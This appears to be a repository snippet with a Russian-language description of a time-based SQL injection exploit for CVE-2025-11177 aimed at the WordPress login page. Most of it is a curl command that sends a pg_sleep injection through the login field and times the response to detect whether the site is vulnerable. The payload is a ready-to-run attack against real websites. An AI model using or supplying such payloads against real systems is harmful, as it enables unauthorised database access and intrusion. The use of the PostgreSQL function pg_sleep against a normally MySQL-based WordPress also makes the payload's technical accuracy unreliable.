jfriedli/cve-2025-11177Эксплойт SQL-инъекции на основе времени для CVE-2025-11177, нацеленный на вход в WordPress, с доставкой полезной нагрузки через curl и обнаружением временной задержки с помощью pg_sleep.
curl -w '\nTIME:%{time_total}\n' -s \
-d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
-d 'redirect_to=' \
-d 'testcookie=1' \
'http://{target}/wp-login.php'